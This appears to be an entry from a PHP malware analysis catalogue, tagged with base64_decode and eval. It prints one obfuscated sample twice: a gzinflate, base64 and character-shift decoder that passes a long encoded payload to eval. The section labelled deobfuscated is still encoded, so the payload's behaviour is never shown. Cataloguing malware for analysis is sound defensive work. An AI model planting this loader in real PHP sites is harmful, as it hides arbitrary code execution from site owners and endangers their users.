PHP Malware Analysis

Back to list

Tags

Encoding
base64_decode
Execution
eval

Deobfuscated code

<?php

function etYX($liyR)
{
    $liyR = gzinflate(base64_decode($liyR));
    for ($i = 0; $i < strlen($liyR); $i++) {
        $liyR[$i] = chr(ord($liyR[$i]) - 1);
    }
    return $liyR;
}
eval(etYX("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"));


Original code

<?php function etYX($liyR)
{ 
$liyR=gzinflate(base64_decode($liyR));
 for($i=0;$i<strlen($liyR);$i++)
 {
$liyR[$i] = chr(ord($liyR[$i])-1);
 }
 return $liyR;
 }eval(etYX("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"));?>